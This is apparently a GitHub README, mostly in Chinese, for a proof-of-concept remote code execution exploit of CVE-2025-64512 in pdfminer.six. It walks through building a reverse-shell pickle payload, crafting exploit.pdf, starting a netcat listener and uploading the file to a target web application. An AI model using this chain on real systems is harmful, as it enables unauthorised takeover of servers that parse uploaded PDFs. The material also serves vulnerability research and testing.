saadhassan77/CVE-2025-64512---pdfminer.six-Remote-Code-Execution-RCE-
GitHub: saadhassan77/CVE-2025-64512---pdfminer.six-Remote-Code-Execution-RCE-
针对 pdfminer.six 库不安全反序列化漏洞(CVE-2025-64512)的概念验证项目,提供从 payload 生成到恶意 PDF 构造的完整 RCE 利用链。
Stars: 0 | Forks: 0
# CVE-2025-64512 - pdfminer.six 远程代码执行 (RCE)
[](https://nvd.nist.gov/vuln/detail/CVE-2025-64512)
[-orange)](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
## 警告 – 仅供教育用途
**此概念验证仅用于授权的安全测试和教育目的。**
请仅在您拥有或获得明确书面测试许可的系统上使用。对于因滥用此代码而造成的任何损害,作者不承担任何责任。
## 漏洞描述
**CVE-2025-64512** 是 `pdfminer.six` 中的一个严重漏洞,`pdfminer.six` 是一个流行的 Python 库,用于从 PDF 文件中提取文本和元数据。该缺陷允许在处理恶意 PDF 时,通过不安全的 pickle 数据反序列化实现**远程代码执行 (RCE)**。
- **漏洞类型**:不安全的反序列化 ([CWE-502](https://cwe.mitre.org/data/definitions/502.html))
- **CVSS 3.1 评分**:8.6 (高危)
- **受影响版本**:pdfminer.six <= 20250506
- **修复版本**:20251107 及更高版本
## 攻击向量
该漏洞通常通过使用 `pdfminer.six` 解析上传的 PDF 文档的 Web 应用程序中的**文件上传功能**触发(例如,文档管理系统、报告工具、接受 PDF 的头像上传功能)。
## 利用步骤
### 步骤 1 – 生成恶意的 pickle payload
运行 `generate_pickle.py` 来创建 `malicious.pickle.gz`,其中包含您的 reverse shell payload。
```
python3 generate_pickle.py
Step 2 – Generate the exploit PDF
Choose one of the two available methods:
# 方法 1:/Encoding path traversal(可靠性较低)
python3 method1_encoding_poc.py
# 方法 2:/CMap deserialization(官方 CVE 方法 – 推荐)
python3 method2_cmap_poc.py
Both scripts produce exploit.pdf, which references the malicious pickle file and triggers the deserialization flaw when processed.
Step 3 – Start your listener
nc -lvnp 4444
Step 4 – Upload and execute
Navigate to the target web application's file upload feature.
Upload exploit.pdf via the web interface.
The application processes the PDF using a vulnerable version of pdfminer.six.
The pickle payload deserialises and executes, granting you a reverse shell.
```
标签:CISA项目, PoC, Python, RCE, 不安全反序列化, 无后门, 暴力破解, 网络信息收集, 逆向工具